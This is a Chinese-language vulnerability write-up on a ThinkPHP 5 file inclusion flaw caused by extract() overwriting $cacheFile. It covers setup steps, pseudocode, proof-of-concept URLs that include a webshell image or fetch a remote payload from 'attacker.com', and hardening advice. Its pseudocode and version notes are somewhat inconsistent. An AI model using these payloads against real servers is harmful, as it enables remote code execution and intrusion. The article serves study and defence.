ThinkPHP 5 文件包含漏洞分析与利用
ThinkPHP 5 在模板引擎渲染过程中存在变量覆盖风险。攻击者可通过构造特定的 GET 参数,利用 extract() 函数覆盖内部的 $cacheFile 变量,从而绕过安全检查实现对任意文件的包含(Local File Inclusion)。本文详细梳理从控制器赋值到视图文件加载的完整调用链,并提供复现环境配置与 Exploit。
影响版本与环境准备
该漏洞存在于以下 ThinkPHP 版本中:
- ThinkPHP 5.0.x:范围
5.0.0 <= Version <= 5.0.18 - ThinkPHP 5.1.x:范围
5.1.0 <= Version <= 5.1.10(注:5.1.15 版本已修复相关逻辑,此处主要分析受影响版本及旧版环境的通用利用思路)
为了验证漏洞,需要搭建基础的 PHP + Web Server 环境。以 ThinkPHP 5.1 结构为例,需开启调试模式并确保路由指向默认控制器。
第1步:修改控制器入口逻辑
进入项目目录 application/index/controller/,编辑 Index.php 文件。我们需要确保用户输入能透传给模板渲染过程。
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
public function index()
{
// 将请求中的所有参数传递给模板变量
// 注意:在较新版本中应使用 assign('key', 'value') 逐个赋值,
// 但此处的 pass-all 操作是触发漏洞的关键前置条件
$this->assign(request()->get());
return $this->fetch();
}
}
创建对应的视图文件以防止报错:application/index/view/index/index.html,内容可随意填写。
漏洞原理深度分析
漏洞的核心在于模板引擎处理变量时的 extract() 函数使用了 EXTR_OVERWRITE 策略,且可控的变量直接参与了内部关键参数的构建。
第2步:追溯变量赋值路径
当访问 http://localhost/?param=value 时,Index::index() 方法调用 $this->assign(request()->get())。


这里 array_merge() 将请求参数合并为一个数组。由于未做严格的白名单过滤,用户的输入键名(如 cacheFile)会直接进入后续的处理数组中。
第3步:进入视图引擎渲染流程
assign() 只是数据存储,真正的危险发生在 fetch() 触发模板解析时。

跟进 fetch 方法,它最终会调用 View 驱动类(如 think\view\driver\Think)进行处理。


在 View::template() 或相关解析方法中,系统尝试确定要加载的文件路径。此时传入的变量中包含了用户构造的数据。
第4步:定位核心漏洞点 — read() 函数
继续深入,调用链最终进入 think\template\driver\File::read() 方法,这是实际读取模板内容的地方。


在 File.php 的第 ~84 行附近(具体行数随版本微调),代码执行了以下关键逻辑:
// 伪代码示意,展示危险点
public function read($cacheFile, $data = []) {
// 致命缺陷:将用户可控数组直接提取为局部变量
// EXTR_OVERWRITE 意味着如果数组中存在与当前作用域同名的键,
// 则会覆盖现有的同名变量
extract($data, EXTR_OVERWRITE);
// 随后直接使用 $cacheFile 进行 file_get_contents 或 include
// 由于我们传入了 cacheFile=x.jpg,这里的 $cacheFile 已被覆盖
if (file_exists($cacheFile)) {
return file_get_contents($cacheFile);
}
}


这里的 extract($vars, EXTR_OVERWRITE) 是漏洞根源。虽然框架内部可能有默认的 $cacheFile 定义,但由于 EXTR_OVERWRITE 的存在,攻击者传入的参数名为 cacheFile 的值会直接覆盖掉框架预期的受保护路径。
漏洞利用(POC)
基于上述分析,攻击者只需满足两个条件即可利用此漏洞:
- 目标服务器允许包含远程或本地文件(通常需开启
allow_url_include或直接包含本地敏感文件)。 - 存在一个可由用户控制的
cacheFile参数。
第5步:构造利用请求
假设我们在网站的 public 目录下放置了一个 webshell 图片马 shell.jpg(模拟上传场景,或者包含配置文件等)。
构造 URL Payload:
http://target.com/index/index/index?cacheFile=../public/shell.jpg
或者如果是 RFI(远程文件包含)且 allow_url_include 开启:
http://target.com/index/index/index?cacheFile=http://attacker.com/shell.txt
访问该链接后,PHP 会解析并输出 shell.jpg 的内容。若文件中包含 PHP 代码且被正确包含,即可获得 shell。
总结与防护建议
ThinkPHP 5 的文件包含漏洞是典型的“变量覆盖”导致的逻辑漏洞。extract() 函数在处理外部输入时必须格外小心。
- 加固建议 1:避免直接将
$_GET或数组全部赋值给模板,应使用白名单机制逐个设置变量。 - 加固建议 2:在使用
extract()时,严禁使用EXTR_OVERWRITE模式处理用户数据,或应先检查变量是否已定义。 - 升级方案:请尽快升级到受支持的 ThinkPHP 最新版本(如 TP6),其模板引擎的安全机制已重构,杜绝此类简单的变量覆盖问题。
以上就是 ThinkPHP 5 文件包含漏洞原理分析与利用的详细内容,更多关于 PHP 代码审计与漏洞防御的资料请关注本站其它相关文章!
免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。









